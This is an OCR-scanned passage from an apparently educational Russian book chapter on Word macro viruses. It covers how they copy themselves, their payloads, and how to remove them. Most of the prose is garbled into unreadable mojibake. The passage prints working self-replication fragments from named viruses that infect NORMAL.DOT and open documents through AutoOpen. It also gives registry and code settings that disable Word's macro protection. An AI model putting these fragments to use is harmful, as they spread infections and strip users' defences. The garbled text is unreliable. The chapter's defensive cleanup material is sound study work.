Items») ¢ umenem <Mma> uz <Mcrounuka> (HOKyMeHTa MaU IHab-
joHa) B <IIpueMHUK> (JIOKYMEHT WK MabJjioH). JTa KOMaHAa MOHA-
yayry mpefHa3HAvYaIach JJIS UCIIOJIb30BaHUsI B KayecTBe VBA-anamora
«MacroCopy», HO mouTu cpasy ke Microsoft, UCIyraBIINCh HATLIBIBA
MaKpPOBUPYCOB, BhITycTHIa TTaTd i71st MS Word 97, KoTopbiit oTKITI09aT 1
«OrganizerCopy», 1 « WordBasic.MacroCopy». OiHaKo B IOCJIELYIOUIIX
Bepcusix MS Word a1u KoMaH bl GBI «BO3POIKACHBI .

[Tpumep uCHOTB30BAHUS ITOTO METOAA — (parMeHT MaKpPOBUPYCa
Macro.Word97.Ella.

Sub AutoOpen()

If ThisDocument = NormalTemplate \

Then Set Target = ActiveDocument Else Set Target = NormalTemplate
Application.OrganizerCopy \

ThisDocument.FullName, Target.FullName, "H8", wdOrganizerObjectProjectItems

If Target = ActiveDocument Then ActiveDocument.SaveAs FileName:=ActiveDocument.
FullName

End Sub

«Export <Umsa@aiima>» — MeTol, KOMUPYIOUUN HUCXOIHBIN TEKCT
Makpoca (ILIIOC «3ar0JI0BOYHbIE» CTPOKU, €CJId OHU eCTb) B YKa3aHHbII
(haiin na gucke.

«Import <MmaDaiina>» — MeTOM, KOMUPYIOUNN UCXOAHDBII TEKCT U3
yKazaHHOTO (haiisa B Makpoc. Metozsr Import n Export B mape ncrnosnbay-
10TCSL B MAKPOBUPYCaxX IIPUMEPHO TaK:

...VBProject.VBComponents. Import ("MACROS.TXT")
...VBProject.VBComponents.Item(1).Export "MACROS.TXT"

BoT parMeHT UCXOIHOrO TeKCTa Hec10:KHOTO Bupyca Macro. Word97.
Wrench.g, ncrnosb3yomero aTy «CIafikyio mapouKys.
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"9TOT MakpoC aBTOMaTUYECKW CTapTyeT Npu OTKPLTUW AOKYMeHTa
Sub AutoOpen()

On Error Resume Next

Call Infect

End Sub
Sub Infect() "9Ta npouepypa cpasy Bbui3biBaeTcs u3 AutoOpen
ModulName = "EgertonlLab” " Uma mopyna ana maeHTudukaumu

" Y710 dBngeTcsd HocuTenem Bupyca?
" Ecnu NORMAL, To...

Set Carrier = NormalTemplate.VBProject.VBComponents
Set host = ActiveDocument.VBProject.VBComponents

" WHave - HaobopoT
Set Carrier = ActiveDocument.VBProject.VBComponents
Set host = NormalTemplate.VBProject.VBComponents

" Ecnu Takoro moayna HeT, TO
' 9KCNOpPTVPOBaTb/MMNOPTUPOBATH MAKPOCHI
If host(ModulName).Name <> ModulName Then
Carrier(ModulName).Export "c:\ascii.vxd"”
host.import ("c:\ascii.vxd™)
End If

End Sub

Ob6parute BHUMaHUE: BUPYCHI, Hcionbayorue «Import/Exports, cos-
JIAIOT rie-To Ha Aucke (4acTo B KopHe aucka «C:\», HO 3T0 He 00s3aTe Ib-
HO) BpeMeHHbI (aili (B pacCMOTPEHHOM IIpUMepe 3T0 «ascii.vxd») u He
BCerja ero mocje paboTsl yAaasior. Tak 4To MosBJIeHNE Ha AUCKE TIOCTO-
PoHHUX PailoB ¢ GIUCMKOBCKUMM TEKCTAMKU BHYTPY — BasKHBIH IIPU3HAK
HaJIMYUS B IOKyMEHTaX MaKpoOBUpyca!

«AddFromFile», «AddFile», «AddFromString», «InsertLines», «Re-
placeLines» u T. 1. — MeTozbl cBoiicTBa «CodeModule» o6bekra «VBPro-
ject». VIMu MOKHO OGOWTHCH JIUISE TIOJHOTO KOMUPOBaHUST (PPArMeHTOB
MaKpoca U3 IOKyMEHTa B IOKYMEHT, a ellle OHU B MAaKPOBUPYCaX UCIIOJIb-
3yI0TCsI JIJisl opranusariuu nojmmopdusma. Bor pparment Bupyca Macro.
Word97.Ufro, konupyiomuii Tekcr Makpoca noctpouto us «<NORMAL.
DOT» B akTUBHBII IOKYMEHT:

If Not ActiveDocument.VBProject.VBComponents(1).CodeModule. Find \
("Document_Close™, 1, 1, 1000, 1000, False, False) Then
For T =1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOflLines

lineofcode = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(I, 1)
ActiveDocument.VBProject.VBComponents(1).CodeModule. InsertlLines I«3, lineofcode
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Next I
Else
End If

Vcrob3yrorest 1 «KkOMOUHUPOBAaHHbIe> MeToAuKu. Harpumep, Kiac-
cuuecknit Bupyc Macro.Word97.Ethan cravama «c6pachiBam» TEKCT
Makpoca B JIMCKOBBIN (paiij, a TOTOM ITOCTPOYHO CUYNUTHIBAJ eT0 U3 (haiiia
" TIpu ToMo1nu MeToja «InsertLines» KOMMPOBAJ B <3KEPTBY».

Bce paccMOTpeHHBIE METOIBI KOMTMPOBAHHST MAKPOCOB 00JIA/IAI0T CBOT-
CTBOM «CUMMETPUYHOCTH». TO ecTh OHM KOMUPYIOT MAKPOCHI B OJTHOTHII-
HbIe MOJIYJIV: U3 <«OOBIYHBIX> MOYJEH B «OOBIYHBIEY, 4 U3 «KJIACCOB» —
B «KJIACCBHI» M T. [I.

Bupycos ast MS Word 97 66110 Hammicano U paciipocTpaHeHo 110 MUPY
MHOTO — HECKOJIBKO JIECSITKOB Thicsid. [TlepBbie Takue BUPYChI ObLIN Pe3y.Jib-
TaTaM¥ TPSIMOTO «TIEPETOIMAUYNBaHUsI» MaKpOCcoB ¢ si3bika WordBasic Ha
VBA. Hanpumep, cyuectsoBai (IlpaBia, He IOJY4II OOJIbIION U3BECT-
noctu) Bupyc Macro.Word97.Concept. HaubGoJiee sxe pactpocTpaneH-
HBIMU U JOJTOKUBYIIUME Makposupycamu st MS Word 97, corsacto
WildList ot Joe Wells, 6b111 1 ects Macro. Word97. Wazzu («uepeson»
¢ Word 6.0/7.0), Macro.Word97.Marker, Macro.Word97.Class, Macro.
Word97.Smac, Macro.Word97.Ethan, Macro.Word97.Thus u nipoune.

Makposupycel Ha VBA nutiyTcst 10 cux 1op, HO 3HAUUTEJIbHbIX JI11-
JeMUIl He BBI3BIBAIOT. BONBIMMHCTBO COBPEMEHHBIX Pa3pabOTOK «KOH-
HENTYaJbHbl» W <KOJUJICKIIMOHHBI». Kak TpaBWyio, OHU HCIIONb3YIOT
M30TIPEHHBIE METOIBI OOMaHa aHTHBUPYCOB, GJIaroapst YeMy OUeHb TPO-
MOBJIKH 1 04eHb MeJJIEHHO paboTaioT (Harpumep, Tot ke Macro. Word97.
Polymac), 110 kakoBOi1 IpUYIHE JKU3HD UX B «[UKOU IPUPOJIE> TOBOJBHO
npobiaemMaTiyHa. A obuTaressIMu GyXTaJTepHii, OT/IeN0B KaJIpoB, KaH-
LEeJISIPUIL ¥ TIPUEMHBIX OCTAIOTCSI HEMHOTOUHCJIEHHBIE TIOTTYJIsIiiuu GoJiee
MIPUMUTUBHBIX BUPYCHBIX CEMENCTB, IEPEYNCIEHHBIX BbIIIE.

5.1.4. O nposBneHusxX MakKpoOBUPYCOB

Bosmosxnoctn a3bikos WordBasic 1 VBA BecbMa BeIMKH, COOTBETCTBEH-
HO 5TOMY MPOSIBJIECHISI MaKpPOBUPYCOB PasHOOOPasHbl — 31O U (haiiio-
BbI€ OTepaluy (3alnch, IEPeUMEHOBaHNE, YAaJeHUe U T. I1.), Pa3InIHbIE
«IIYTKU» ¢ PEIaKTUPYEMBIM TEKCTOM, Bbijlaua HA 9KPaH PasHOOOPa3HBIX
coobmienmit u mpouee. VBA mopepskuBaer obpaiieHre K (YHKIIUSM
BHEITHIX INHAMIYECKUX OMOIHOTEK, U 9TO O3HAYAET, YTO BUPYCY TOCTYTI-
bl Win32 API, cereBbie cepBHCHI U IIPOUEE.
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Bripouem, TUITMYHBII aBTOP MAKPOBHUPYCA He CAUIIKOM KBAIU(DUIIUPO-
BaH U JIOCTATOYHO JieHUB (MHave mucas Obl hailjioBbie BUPYCHI HA SI3BIKE
accembuiepa). [ToaTOMY K KaKMM-TO 0COOEHHO U3OIPEHHBIM TIPOSIBJICHNU-
saM oH He ckjioHeH. CrepeTb 13 uncsia Bce ailibl B TeKyllleM Karajore
(Bupyc Macro.Word.Atom), 3akpbiTh B ISTHHUILY TEKYIHil JOKYMEHT
caryuaiiabim maposieM (Bupyc Macro.Word.Friday), Heoxxunmantno 6ubuk-
HYTb AHaMuKOM (Bupyc Macro.Word.Beep) u 1. 11. Ha Gouibliee hanTa-
3UH y TUIIUIHOTO aBTOPA XBATAET PEIKO.

MoxHO ellle «IIOXYJIUTaHUTh» C TEKCTOM JIOKYMEHTa, HAIlpUMep Kak
910 esan Bupyc Macro.Word97.Dig (cm. puc. 5.4 u 5.5).

_ OTHEN
OENCTBEHHOCTH

TOITO/IA
YBEPYT

B peagkuwio raseTe obpa-
THAUCE HATanM ynuLl
Groprvonoh (D
¢ npoceGod NOMONE wM wa-
GaBUTECA OT CTApLIX TORO-
nei. QnacHue QepeBeA Ha-
XOARTCA B HENDCPEOCTREH-
Ho GnuaoeTu o1 CLI MNet A
NG Camon ynvLe AETw XDaRAT)
g wkony. Bonee Toro, ogvH

N3 TONONER yHE PYXHYN B
pakioHe ynvubl 3enedon.
Sror sanpoc D
@l AapecoRaAnK (hage
ropoaa
Bnun, KoTo-
DoV CHEZEMN HAM, YTD PyAMyE-
wee 4epesd N yhwue dane-
HOR YHE pacnMnanu v ybpa-
. Y70 KacasrcA YeThipex
0NacHbIX TOMORSE NO ynuye!
CropruaHolt, TO Wx Tamke 8
CKOPOM apemedu yoepyT.
Arodn paboToit salimerca
Ay wGa KUNMLLHO-KOMMY-
HANbHOIG XO3RACTEA.
Col.wHb

Puc. 5.4 « lNoonnHHasa 3ameTka
B OIHOI ropoacKov razete

NPAHOCKUM
M3BUHEHKA

AR, uenenssyiouve o
ceged pafiore KoMNLgTepe:,
3HIIAT, YTD £CTL TaKoh BUpyC.
NPy 32PAKEHUM HOTOPLIM BO
Bpems Habopa Tekcra aain-
MATHYECKIA _J‘I‘OOI'EE‘-IQTI:IBEIET-
CA CNOBD &lnnKs,

Mpw RcareToske Homeps
«Ch» 3a 25 zaryara 2085
ro/la Tarux sBRUHoEY RosEu-

NOCH OMEHE MHOMD, K toma-
NEHMI, YASAWTE MX YASNOCH
H8 Bee. B wacTHOCTW, a8 wH-
cdopmagud «Tonona yBe-
PYT3 3TO CNOBG CUBEPLIRH-
HO HEKCTATY MORBMNGCH Ps-
AOM ¢ hEMuMER rNEek! fo-

DOCKDA SOAMHHUCTPAYNK

Pegakuma «CM» npuHa-
CHT
CBOWM KIEWHEHWA K MEeN3eT
ycnexoe e palare,

Puc. 5.5 « A 3710 6bI710 ONYOGAMKOBAHO
HEKOTOPOE BPEMS CMyCTS
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Ho gamie Bcero Bupyco pu momMoIu koMas sl MsgBox rmpocTo BbIBO-
JAT HA 9KpaH Bestdeckue coobienust. Hanpumep, supyc Macro. Word97.
Proverb mpocnasuica B 2000 r., «poOpaBInuch» B 0hUC IPEMbEP-MU-
HucTpa BemmkoOGpuraHuu M MOpasvB TaMOIIHUX CeKperapil obpasia-
MH «PYCCKO# HapOAHON MyzapocTh» (BCETO IEMOHCTPUPOBAIOCH OoJiee
450 BapuaHTOB COOOIIEHMIT, BBIOMPAEMbIX CIy4aiiHbIM 00pasoM ).

C 1 anpena Bacl!

6 OH ckazan: <[oexanq> W 3anMn e0g0oM

Puc. 5.6 « lNMpumep nposiBneHuns
Bupyca Proverb

«IIposBienngaMu» MOXKHO cuuTaTh M 9(PdEKTb, HAIPaBJIEHHbIC He
TOJILKO Ha TOJIb30BATENs, HO U Ha BUpycosora. Hampumep, 4To6b1 yBU-
JIeTh CJEAYIONIYI0 KapTHHKY, BUPYCOJIOTY HEOOXOAUMO JEKOMITHINPO-
BaTh MaKPOCHI 1 TIOJIyYUTh UCXOAHBII TekcT Bupyca Macro. Word. MSW.
OG6BIYHBI TTOJIB30BATEh HUKOT/[a HUYETO MO0OHOTO HE YBU/IUT:

Sub MAIN

REM PAPER SHREDDER (c) Sirius (alpha CMa), Sirius B White Dwarf
REM

REM 999999

REM 999999999

REM 999999999999

REM 99999999999999

REM 999999 999999
REM 999999999 99999999
REM @99999999999999 99999
REM 999999999999999 99
REM 99999 9999999999 9999 9
REM 99999999 9999999 999

REM 9999 999999 99999 999

REM 9999 9999999 999999 99

REM 999 9999999 999999 99

REM 99 999 99999999999999999 99

REM 99 99999999999999999999999999999999 99

REM  999999999999999999999999999999999999999 9999

End Sub

Tem wn HHBIM 00PA30OM «IIMYTUT» MTPAKTUYECKH KaK bl BTOPOil MaK-
POBUPYC, U 9TO OUEHD MTEYAJBHO.
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5.1.5. MNMpocTeiwume npuemsl 3aWwmnTbl OT MaKPOBMPYCOB

Bopbba ¢ MakpoBUpycaMu BO3MOKHaA 0e3 TPUMEHEHUsT KaKUX-J100 [0~
MTOJTHUTEIHbHBIX aHTUBUPYCHBIX ITPOrpaMM. PaccMOTpUM HECKOJIbKO TIPH-
€MOB, KOTOPBIMU MOJKHO C YCIIEXOM BOCIIOJIb30BATHCS.

5.1.5.1. Manunyasuyuu ¢ «<NORMAL.DOT»

WNrtak, rHe3muanIeM MaKpOBUPYCOB Ha KOMITBIOTEPE SIBJISCTCS TJIO-
Ganbrbiil mabaon «<NORMAL.DOT». Ecau cpeacrsamu MS Word ot-
KPBIBAETCS «3aPa3Hblii» JOKYMEHT, TO BUPYCHbIE MAKPOCHI [TEPBBIM [[EJI0OM
nepeTackuBaioT cebst B 9ToT abaoH. B nanbHeieM mabaoH ABJIsieTCst
MIOCTOSTHHO aKTUBHBIM, MAKPOCHI M3 HETO — IOCTOSHHO 3arpPYy’KeHHBIMU
B MaMSTh BUPTYAJbHOW MAIIUHBI, W 3TO TO3BOJISIET BUPYCY KOMUPOBAThH
cebst BO BCe BHOBb OTKPBIBAEMbIE JIOKYMEHTBI.

Heubast in kak-uuby a6 mounctuth «NORMAL.DOTs», eciu ectb TBEP-
[iasi yBEPEHHOCTD, YTO OH COZAEPKUT MaKpoBupych? Moskno. [y aToro
noctaToyHo 3asepiuuTb padory MS Word u yaanuts daiin <NORMAL.
DOT» ¢ nucka, a ere Jiydliie Ha BCAKUN ciyyail mepeMMeHoBaTh ero BO
uro-HUOY b nHOe, HarpuMep B «<NORMAL.VIR». Ecjiit BHOBb 3a11yCTUTD
MS Word, o <NORMAL.DOT» 6y et aBToMarnyecku cosan BHOBb. OH
He Gy/ieT copiepKaTh BUPYCHBIX MaKPOCOB, TIPaB/Ia, U BCe CeIaHHbIe pa-
Hee T10JIb30BaTe/IeM HACTPOIKY (CaMOCTOSATEHHO Pa3paboTaHHBIE CTHLIIH,
Macitabbl 0TOOPasKEHUs JOKYMEHTOB, J06aBIeHHbIC TUHEHKN MEHIO W
T. 11.) iponaayT toxke. He 6exa. «ITourcTus» rmobanbHbIi m1abIoH, MOKHO
BHOBbB BBITIOJIHUTH HEOOXOIMMbIE HACTPO¥iKH, 3aBepimnTh MS Word u mo-
crasuthb Ha (aitn <NORMAL.DOT» 6utossriii duaxkox «readonly». Te-
nepb Jio6bie TonbITKr u3MeHuTh daitn «<NORMAL.DOT», B ToMm uucie
U BIIUCATD B HETO <JIUITHIE» MAKPOCHI, OY/IyT PECEUEHbI OMIePAlnOHHON
CUCTEMOM.

Boobe, syuiie sapanee caenath komuto ¢aitta «<NORMALDOT»
CO BCEMU «JTIOOUMBIMI» HACTPOUKAMHU U BOCCTAHABJIUBATH TJIOGATbHBIN
mabJIoH U3 Hee.

5.1.5.2. Yoanenue supyca cpedcmeamu <Opeanuzamopas

A Kak ymaauTh MaKpOBUPYC M3 0OBIYHOTO H0KyMeHTa? OQUeHb MpoCTo.
JleueHune HEOOXOAUMO IPOU3BOAUTD B «UHCTOI», TO €CTh 3aBEOMO He 3a-
paskeHHOI Makposupycamu, cpege MS Word.

B mento «@aiins> («File») HyskHO BoIOpaTh myHKT «[[TabmoHbl» (« Temp-
late»). [lasiee Ha 1mMoOCIeI0BATENbHO TTOSBIISIFONINXCST OKHAX HaKaTh KHOII-
ku «Opranuzarop» («Organizers ), «3akpbiTh haiiyi» 1 «OTKPBITH haiiis.
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B pesyasrare MS Word nipemioxut 3arpy3uts (HO He aKTHBUPOBATH!)
OJIMH M3 JOKYMEHTOB-IIa0JI0HOB, B POJIM KOTOPHIX MOKET BBICTYIATh KaK
haitr moxymeHTa, IpeiHa3HAYECHHBII JIJIST JIEYEHUS, TaK U TIepEUMEeHOBaH-
HBII paHee «ObiBIINN ryiaBHblit> mabaor NORMAL.VIR. Tanee HeoOxo-
JMMO BBIOpaTh BKIAAKY «MaKpo» ... BOSMOKHO, UTO Ha SKPAHE IOSBUTCS
CIIMCOK MaKPOCOB, 3aK/II0YEHHBIX BHYTPHU 3arpy KeHHOro mabaoHa. Bipo-
YeM, eCJTM CIIUCOK ITYCT, ATO ellle He 03HAYAET, YTO MAKPOCHI OTCYTCTBYIOT,
MOCKOJIBKY COJIEPKUMOE MOJYJIEH <«KJIACcCOB» TaKUM 00pPa3oM yBHJIETh
npobaematrnuto. Ho «06brdHbIe» MaKpOChl BUAHBI 3aMedaTebHo. VTak,
eCJIM CIMCOK He IIyCT, TO He0OXOANMO BHUMATEIbHO U3YUUTh €r0 COLEP-
skuMoe. O HaJTMYUK BUPYCa CBU/IETEIbCTBYIOT:

Q Makpochl co «CcTpaHHbIMU» UMeHaMu, Tua <AAAZAO», «Capy,
«Mtf> u npoune;

QO Makpochl ¢ <«aBTOMaTuyecKuMu» uMeHamu — <«AutoOpens,
«AutoClose», «AutoExec», «AutoNew» 1 1poune;

QO MakpoChl CO «CTaHIAPTHBIMU» WMEHAMH, TTOCTABJICHHBIMU B CO-
orBeTcTBHE Kakoi-uubyap omepaimuun Ms Word — <«FileOpen»,
«FileSave», «FileSaveAs», «FilePrint», «FileExit», «FileClose» n
poywe.

OO6HapysKUB BUPYCHbIE MAaKPOChI, HY’KHO JIMKBUAMPOBATh UX, II0OYE-
PEeIHO OTMeYast MBITITBIO U HA)KUMas KHOTIKY «YIaanTh». BOT 1 Bce, 10Ky~
MmenT (mabmnon) unct. Keraru, Tenepb MOKHO II€pEMMEHOBATD IIOUUILEH-
Hblli «<NORMAL.VIR» B <NORMAL.DOT>, Bce «/11061Mble» HACTPOIKI
TAKUM <«JIe9eHUueM» He 3aTPariuBaioTCsI.

5.1.5.3. Aumuesupycnoie maxpocol

[Ipocreitmnii aHTUBUPYCHBIM MaKpPOC COCTOUT U3 €IWHCTBEHHOU
komauel «DisableAutoMacross», orkiouatreil paboTy «aBTOMaTHue-
CKUX» MaKpocoB. Ellle MOKHO YaCTUYHO aBTOMAaTH3UPOBATH PabOTy IO
MOWCKY W yIAJeHWIO BUPYCOB, HAMMCAB <«Jedariues Makpochl. VIMeH-
HO Tak ¥ TocTynuiu B Microsoft, M3TOTOBUB U pacpoCTpaHUB 1a0I0H
«SCANS831.DOT». A mbl ueM Xy:ke? BoT mpuMuTHBHAS TTPOTPAMMKa HA
sabike WordBasic, koropast utiier B <NORMAL.DOT» u TekyteM J0Ky-
MeHTe Makpoc ¢ umeHeM «AutoClose» (3T0 UMsT XapaKTepHO JIJist BUpyca
Macro.Word.DMV) u yjajsier ero.

Sub Main
tmp = KillMacro("AutoClose™, 0)" "B NORMAL.DOT

tmp = KillMacro("AutoClose”, 1)" 'B Tekyuwem AoKymeHTe
End Sub

Function KillMacro(BadName$, TemplateType) ' OyHkums noucka/ypaneHuns
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KillMacro = 0

For i = 1 To CountMacros(TemplateType)

If MacroName$(i, TemplateType) = BadName$ Then ' Mo umenn

Organizer .Delete, .Source = MacroFileName$(BadName$), .Name = BadName$, .Tab = 3

KillMacro = 1

End If

Next 1
End Function

Bot BapuaHT 5TOIi JKke POTrpaMMbI, HAITUCAHHBIN Ha s3bike VBA.
Sub AutoOpen()
Dim tmp%
tmp% = KillMacro(“AutoClose”, ActiveDocument) 'B Tekywem [OKyMeHTE

tmp% = KillMacro("AutoClose”, NormalTemplate) 'B NORMAL.DOT
End Sub

Function KillMacro(Badname, TemplateType) As Integer ' OyHKkuus noucka/ynaneHns

Dim 1%

KillMacro = 0

For 1 = 1 To TemplateType.VBProject.VBComponents. Count

If TemplateType.VBProject.VBComponents.Item(i).Name = Badname Then ' Mo momynio
Application.OrganizerDelete TemplateType.FullName, Badname, wdOrganizerObjectItems
KillMacro = 1

End If

Next 1

End Function

Jlyuiire Bcero GUTh Bpara ero ke COOCTBEHHBIM OPYKHEM — Pa3MECTHTh
Jedamuii Makpoc B raobanbioM mabiaone «NORMAL.DOT» u npucso-
uth emy umsi «AutoOpens. Torga Makpoc OyzeT cTapToBaTh IPU KaKA0U
3arpy3Ke HOBOTO JIOKYMEHTA M OTCTPEJINBATD «3apa3y» Ha B3JIETe.

Pazymeercst, Bce 9TO He CIUITKOM cepbe3HO. [laHHbIi TTOAX0/] TO3BO-
JsieT 06HApYKUBATh MaKPOCHI TOJBHKO 10 UMEHH, a MMEHA BUPYCHBIX
MaKpOCOB B 3HAYUTEJILHON CTelleHU «CTaHAapTHbl». Hanpumep, makpoc
«AutoClose» mpucyrcrsyer He To16k0 B Macro.Word.DMV, Ho u B He-
CKOJTBKUX COTHSIX JIPYTUX BUPYCOB, TPUYEM B HUX 9TOT MAaKPOC HE OIMHOK.
Takxum 06paszoM, 10JOOHBII MeToz JeyeHus <yober»> Macro. Word. DMV,
a OCTAJIbHBIX JIMIIb «paHuT>. CKopee Beero, «Hel0OUThIe» BUPYChI OYIyT
IPOCTO HEMPABUIIBHO PabOTATE, JOCTABJISIS TUM TOJIb30BATENIO TOPA3/I0
GOJIBIIIE XJIOTIOT, YeM eCJI Obl OHU PABOTaIN «IIPABUJIBHO>.

Bripouem, MOKHO YCJIOKHUTH aHTHBUPYCHBIE MAaKPOCHI, HAYYUTh HUX
OCYIIIECTBJISITH TIOUCK I10 TUCKY, CKAHMPOBATD «3aPa3dy» IIOCTPOUHO, BECTU
6a3y JaHHBIX ¥ T. 1. [IpUMEPOM TaKOW MPOIBUHYTOMN «JIEUUIKU> MOKET
cayxnth «Macros Hunter» O. ABepkoBa.
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5.1.5.4. Bcmpoennaa <«3awumas> MS Word

Pasymeercst, pupma Microsoft He MOTJIa OCTaThCst B CTOPOHE OT Cpaske-
HUI, BeLyIIXCSA MIPOBOI KOMITBIOTEPHOIT 00IIECTBEHHOCTHIO ¢ MAKPOBH-
pycamu. ToBopsT, TiepBas poOKast OTBITKA OTTOPOUTHCS OT «ITOCTOPOH-
HUX» MakpocoB nosiBuiach B MS Word v7.0a. Ho pycucuiiupoBanHbIx
BapUAHTOB ATOW BEPCUU TEKCTOBOTO PEIAKTOPA HE CYIIECTBYET, TOITOMY
OTEYECTBEHHDBIN MOJIb30BATEb JIUIIEH BO3MOKHOCTH OTIEHUTD JIOCTOMH-
CTBA 1 HEJIOCTATKHU MCITOJIb30BAHHON B HEN 3aIIIUTHI.

Cawma xe pupma Microsoft mocuuranma Ty 3aliuTy HEIOCTATOYHON U
B CBOIO ouepeinyio Bepcuto MS Word 97 Britoumia iBe «<HOBUHKI»

O aHTUBMPYCHBIN (GUIBTP, 3anpenaBuinii npeodpasosanue ns Word-

Basic 8 VBA naun6oJiee M3BeCTHBIX BUPYCOB;

QO mnoxcucTeMy npeaynpeKIeHus M0Jb30BaTes.

Bor uT0 c00611a1 0 11epBOM 13 HUX M3BECTHDII BEHTEPCKUN BHPYCOJIOT
Gabor Szappanos:

...hTak, Microsoft BcTpowsia npocTon GuibTP, KOTOPLINA rbITa/ICS
onpenennTb, He MPUHAAIEXUT JIn KOHBEPTUPYEMBbIV MakpoC Kako-
My-HUBYab BUpYyCY. Eciv 0BHapyXeHHbIi MakpoC $IBJISIJICSI 4aCTbio
M3BECTHOIro BypYyca, TO OH yaansacs u3 AOoKyMeHTa 6e3 Kakmx-mbo
npegynpexaeHui... K coxaneHuio, y 3Toro mMeroga UMeNChb He-
CKOJIbKO HEOCTaTKOB: OH MCMO0JIb30BaJs MPUMUTUBHOE CPaBHEHUE
curHatyp; oH paboTtasi ¢ OTAe/IbHbIMY Makpocamu, B pe3y/ibTare 4ero
makpocbkl AutoOpen, AAAZAO n AAAZFS, npuHagnexaiume Bupycy
Concept, ynananuicbk, a Makpoc Payload ycneliHo KOHBepTupoBasi-
csl; OH obecrie4dnBars 3aLumnTy OT OrpaHNYEHHOr0 KOJINHEeCTBa BUPYCOB
(BupycHas 6asa aaHHbIx Obina 3awumTa B DLL v He noanexana o6HOB-
JIEHWIO); HAKOHEL|, CUIrHaTypbl BUPYCOB XPaHW/INChb B HE3aLLUNPPOBAaH-
HOM BUAE...

Iror bunsrp He Obu1 BRIOUeH B Gera-Bepcun MS Word 97, mmpoxo
MCIOJIb30BaBINNECs moJsib3oBarensiMu B 1997 1., B pesyJibrate 4ero K Mo-
MEHTY BbIXO/Ia (DMHAJIBHOTO pesin3a BCE MaKPOBUPYCBI, KOTOPBIEC MMe-
JIM TIAHC «MUTPUpPoBaTh» ¢ WordBasic Ha VBA, ycriento cesnanu aro.
«Omno3man» 1 nary, oTkoYaomuil komanpl « WordBasic.Macrocopy» u
«OrganizerCopy». OH ObL1 BKJIIOUEH B 11€pBbIil cepBuciak MS Word 97
SP1, a B caeytomiem cepuciake SP2 atu 3arpeTsl ObLIN OTMEHEHBL.

Bropas ske anTuBUpyCcHAd «M3I0MUHKA» 3aKPEINJIACH U MTOJIyUnJIa Pas-
BUTHE B ocaeayomux sepcusx MS Word. Maest paboter 910l nmoacucre-
MBI 3aKJIOUAETCSI B TOM, YTOODI IIPEYIIPEKAATH TOJH30BATENIST O HATIMINY
B 3arpy’KaeMOM JIOKYMEHTE «ITOCTOPOHHUX BIIOKEHUIT>.
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Jawwra oT BUPYCOB B MaKkpocax rd s

B OTKPEIESEMOM ADKYMEHTE SCTE MAKPOCE], KOTOPEIE MOMYT COASEMATE EMPYCE! H
MOEPEAHTE BAW KOMIBHITER,

ECAM ADKYMEHT B3AT M3 H3LEMHOMD MCTOHHMIES, HIMMHTE
KHOMEY "He oTKAM4aTe Makpocsr, HTobkl SanpeTHTE MeapatHocTk

BETOMATHYECKHA FANYCK MAKPOCOE, HAMMHMTE KHONKY

BiCerAa BEIECAMTE 3TO OKHO NP OTEPEITHH A0KYMEHTS, C04SP4ALLErD MAKPOCE!

| OTKNMYHTE MaKPOCE | | He oTKNHOYaTE MaKpoce! | |ﬂe OTEPEIEATE AOKYHMEHT |

Puc. 5.7 < [uanor npenynpexaeHus 0 Makpocax

[IpaBma, ata mopcucTemMa He yMeeT OTJINYaTh BUPYCHBIE MAaKPOCHI OT,
HalpyMep, TOJb30BATEIbCKUX CTUJIEH W YaCTEHbKO <«PyraeTcsi He I10
nenys. K Tomy ke aTy oziccteMy O4eHb JIETKO OTKJTIOUNTD:

O Bpyunyio (cOPOCUB COOTBETCTBYIONIYIO «Tanky» B «Ceppuc = Ila-

pamerpbl = O0mme»);

O wusBHe (mocraBuB ko Peectpa «HKLM/SOFTWARE/Micro-

soft/Office/8.0/Word /Options/EnableMacroVirusProtection»
B rtostoskenne 0);

O mporpaMMHO (BBITIOJHHUB CTOJb <«JIHOOMMYI0» MaKpPOBUPYCaMU

komanxy «Options.VirusProtection = False»).

CaMblii ke IJIaBHBI HEJIOCTATOK TOM0OHOTO TOAX0/a 3aKJII0YasCs
B TOM, UTO TIOJTb30BATEJIO TIPEAOCTABIISIOCH TIPABO CAMOMY PEIIaTh, MPo-
nyckarb Makpochl B ¢cBoit MS Word wiu Her. TIpeacrassre ceGe curya-
o: B opuc mpuio MHoxecTBo muceM B DOC-dopmate, Tpebyercst
HeMeJJIEHHO OTpearnpoBarh Ha HuX. Heyskesnn cekperapiiua Oyer pas-
OUPATBhCsT ¢ KasKAbIM OTAEJBHO B3SITBIM JOKYMEHTOM, OIMACHBIE WJIH I10-
JIe3HbIe MaKPOCBI B HEM cojiepskaTcs? /la oHa pa3 u HaBcerjia OTKJIIOUNAT
ATy HAZOEAIUBYIO 3auiTy! VI OTKJIIOUUT «XOTsI Obl HA OJ[H Pas», a <Ha-
BCET/Ia» HTO c/le/laeT aKTUBUPOBABIIHUIICS BUPYC IPU MTOMOIIU OTHOTO U3
PACCMOTPEHHBIX Uy Th BBIIIE TTPUEMOB.

CoOCTBEHHO TOBOPst, TaK B OOJIBIIMHCTBE CJAYYaeB M MTPOMCXOIILIO.
IMoacucrema 3ammtbl MS Word 97 cepbesnoii nperpazsoii 1 pacipo-
CTpaHeHUst MAaKPOBUPYCOB He cTasa. IToatomy yxe B MS Word 2000 6b11u
BBe/ICHBI HECKOJIbKO YPOBHEH 3aIUIIIEHHOCTH.

Ecav akTUBUpOBaH HUKHUN YPOBEHD 3aIUIIIEHHOCTH, TO MAKPOCHI U3
3arpysKaeMoro JJOKyMEHTa BBITIOJIHSAIOTCS B JII0OOM ciydae. ITpu cpeateM
yposte zamnmientnoctu MS Word 2000 sener cebst momo6Ho Bepcun 97:
MpeynpeskIaeT MoJb30BaTeNsT 0 HATUIUM MAaKPOCOB U TIPEJJIaraeT emy
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CaMOCTOSITEJIBHO MIPUHATHL peliienne. HakoHel, Ha BbICOKOM ypOBHE 3a-
HIUIIEHHOCTU BBIIOJHSIIOTCS TOJIbKO <IOJIMUCAHHBIE» MAKPOCHI (TO €CTh
MaKpPOChI U3 3aBEJIOMOIO JOBEPEHHOI0 MCTOYHUKA), a OCTaJbHble GE30
BCSIKMX TIpeAylpeskaeHnil nogasisiorcsa. Keratu, Haunnas ¢ MS Word
XP, BbIcOKUII yPOBEHDb 3alUTHI 3a0/IHO €Ille U OTKJIIOYAeT IMOJCUCTEMY
VBA, He 1103BOJISISI JasKe [TPOrPaMMUCTY pa3pabaTbiBaTh CBOU MAKPOCHI.
